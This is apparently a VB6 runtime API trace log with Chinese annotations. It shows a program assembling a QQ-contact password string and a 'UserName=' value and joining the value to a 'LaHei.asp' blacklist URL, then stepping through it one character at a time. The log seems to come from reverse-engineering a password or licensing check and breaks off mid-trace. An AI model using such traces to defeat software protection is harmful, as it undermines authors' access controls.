String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|11")
__vbaStrVarMove返回值: 0x001716F4 (unicode字符串"获取密码加QQ2049826856|102494|11")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001716F4 (unicode字符串"获取密码加QQ2049826856|102494|11")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A022
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"0")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"0")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|11")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|110")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|110")
__vbaStrVarMove返回值: 0x0016FDCC (unicode字符串"获取密码加QQ2049826856|102494|110")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0016FDCC (unicode字符串"获取密码加QQ2049826856|102494|110")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A023
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"8")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"8")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|110")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1108")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1108")
__vbaStrVarMove返回值: 0x001716F4 (unicode字符串"获取密码加QQ2049826856|102494|1108")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001716F4 (unicode字符串"获取密码加QQ2049826856|102494|1108")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A024
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"5")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"5")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|1108")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|11085")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|11085")
__vbaStrVarMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|11085")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|11085")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A025
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"0")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"0")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|11085")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|110850")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|110850")
__vbaStrVarMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|110850")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|110850")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A026
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"3")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"3")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|110850")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1108503")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1108503")
__vbaStrVarMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|1108503")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|1108503")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A027
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"4")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"4")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|1108503")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|11085034")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|11085034")
__vbaStrVarMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|11085034")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|11085034")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A028
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"1")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"1")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|11085034")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|110850341")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|110850341")
__vbaStrVarMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|110850341")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|110850341")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A029
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"6")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"6")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|110850341")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1108503416")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1108503416")
__vbaStrVarMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|1108503416")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|1108503416")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A02A
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"4")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"4")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|1108503416")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|11085034164")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|11085034164")
__vbaStrVarMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|11085034164")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|11085034164")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A02B
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"7")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"7")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|11085034164")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|110850341647")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|110850341647")
__vbaStrVarMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|110850341647")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|110850341647")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A02C
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"4")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"4")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|110850341647")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1108503416474")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1108503416474")
__vbaStrVarMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|1108503416474")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|1108503416474")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A02D
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"7")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"7")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|1108503416474")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|11085034164747")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|11085034164747")
__vbaStrVarMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|11085034164747")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|11085034164747")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A02E
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"5")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"5")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|11085034164747")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|110850341647475")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|110850341647475")
__vbaStrVarMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|110850341647475")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00169294 (unicode字符串"获取密码加QQ2049826856|102494|110850341647475")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A02F
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"1")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"1")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|110850341647475")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1108503416474751")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1108503416474751")
__vbaStrVarMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|1108503416474751")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017138C (unicode字符串"获取密码加QQ2049826856|102494|1108503416474751")
返回地址: 0040457D 函数名称: __vbaFileClose(MSVBVM60.DLL)
__vbaFileClose: 关闭文件
hFile=0x00000001
__vbaFileClose返回值: 0x00000001
返回地址: 004045AA 函数名称: __vbaVarDup(MSVBVM60.DLL)
__vbaVarDup: 变量复制,从变量1复制到变量2
Var1=0x0012FB20
Var2=0x0012FBF0
__vbaVarDup返回值: 0x0012FA0C (vb字符串:"|")
返回地址: 004045C9 函数名称: rtcSplit(MSVBVM60.DLL)
rtcSplit返回值: 0x0012F9FC
返回地址: 004045DB 函数名称: __vbaAryVar(MSVBVM60.DLL)
__vbaAryVar返回值: 0x00169590
返回地址: 004045F2 函数名称: __vbaAryCopy(MSVBVM60.DLL)
__vbaAryCopy: 复制数组
RetBuffer=0x0012FABC
Array=0x0012F988
__vbaAryCopy返回值: 0x00000000
返回地址: 004047C6 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="1108503416474751"
String2="UserName="
__vbaStrCat返回值: 0x00171754 (unicode字符串"UserName=1108503416474751")
返回地址: 004047D4 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171754 (unicode字符串"UserName=1108503416474751")
返回地址: 004047E5 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="LaHei.asp"
String2="http://ywoaini.com/asp/kjjm/"
__vbaStrCat返回值: 0x00169294 (unicode字符串"http://ywoaini.com/asp/kjjm/LaHei.asp")
返回地址: 004047F3 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x00171754
strSrc=0x0012FB20
__vbaStrMove返回值: 0x00169294 (unicode字符串"http://ywoaini.com/asp/kjjm/LaHei.asp")
返回地址: 004056FC 函数名称: __vbaOnError(MSVBVM60.DLL)
__vbaOnError: On Error遇到错误的处理方式
OnErrEvent=0xFFFFFFFF
__vbaOnError返回值: 0xFFFFFFFF
返回地址: 00405714 函数名称: rtcCreateObject2(MSVBVM60.DLL)
rtcCreateObject2返回值: 0x0012F824
返回地址: 0040571E 函数名称: __vbaObjVar(MSVBVM60.DLL)
__vbaObjVar返回值: 0x01B43A68
返回地址: 00405729 函数名称: __vbaObjSetAddref(MSVBVM60.DLL)
__vbaObjSetAddref返回值: 0x01B43A68
返回地址: 00405750 函数名称: rtcIsObject(MSVBVM60.DLL)
rtcIsObject返回值: 0xFFFFFFFF
返回地址: 004057CF 函数名称: __vbaObjSetAddref(MSVBVM60.DLL)
__vbaObjSetAddref返回值: 0x01B43A68
返回地址: 0040588E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B43A68
__vbaLateMemCall返回值: 0x00000000
返回地址: 0040590E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B43A68
__vbaLateMemCall返回值: 0x00000000
返回地址: 0040598E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B43A68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405A0E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B43A68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405A8E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B43A68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405B0E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B43A68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405B30 函数名称: __vbaLenBstr(MSVBVM60.DLL)
__vbaLenBstr: 计算字符串
String="UserName=1108503416474751"
__vbaLenBstr返回值: 0x00000019(字符串长度)
返回地址: 00405B94 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B43A68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405C14 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B43A68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405C94 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B43A68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405F3A 函数名称: __vbaVarVargNofree(MSVBVM60.DLL)
__vbaVarVargNofree返回值: 0x0012F6A4
返回地址: 00405F48 函数名称: __vbaLenVar(MSVBVM60.DLL)
__vbaLenVar: 计算变量长度
RetBuffer=0x0012F704
Var=0x0012F6A4 (vb字符串:"UserName=1108503416474751")
__vbaLenVar返回值: 0x0012F704 (vb长整型:25)
返回地址: 00405F68 函数名称: __vbaVarForInit(MSVBVM60.DLL)
__vbaVarForInit: 初始化For循环
Counter=0x0012F758
TempStep=0x0012F670
TempEnd=0x0012F660
Start=0x0012F684 (vb整型:1)
End=0x0012F704 (vb长整型:25)
Step=0x0012F694 (vb整型:1)
__vbaVarForInit返回值: 0x00000001(初始化for循环)
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:1)
__vbaI4Var返回值: 0x00000001(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000001
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"U")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"U")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"U")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x00000055 ( 'U' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000055
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"U")
Var3=0x0012F718 (NULL)
__vbaVarCat返回值: 0x0012F704 (vb字符串:"U")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:2)
__vbaI4Var返回值: 0x00000002(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000002
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"s")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"s")
__vbaStrVarVal返回值: 0x00171364 (unicode字符串"s")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171364
rtcAnsiValueBstr返回值: 0x00000073 ( 's' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000073
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"s")
Var3=0x0012F718 (vb字符串:"U")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"Us")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:3)
__vbaI4Var返回值: 0x00000003(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000003
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"e")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"e")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"e")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000065 ( 'e' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000065
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"e")
Var3=0x0012F718 (vb字符串:"Us")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"Use")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:4)
__vbaI4Var返回值: 0x00000004(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000004
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"r")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"r")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"r")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x00000072 ( 'r' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000072
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"r")
Var3=0x0012F718 (vb字符串:"Use")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"User")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:5)
__vbaI4Var返回值: 0x00000005(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000005
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"N")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
